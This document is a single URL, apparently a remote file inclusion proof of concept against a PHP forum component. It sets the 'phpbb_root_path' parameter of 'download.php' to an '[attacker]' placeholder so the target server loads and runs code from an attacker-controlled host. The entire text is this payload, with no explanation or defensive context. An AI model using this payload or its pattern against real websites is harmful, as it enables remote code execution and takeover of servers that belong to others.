http://www.example.com/components/com_forum/download.php?phpbb_root_path=[attacker]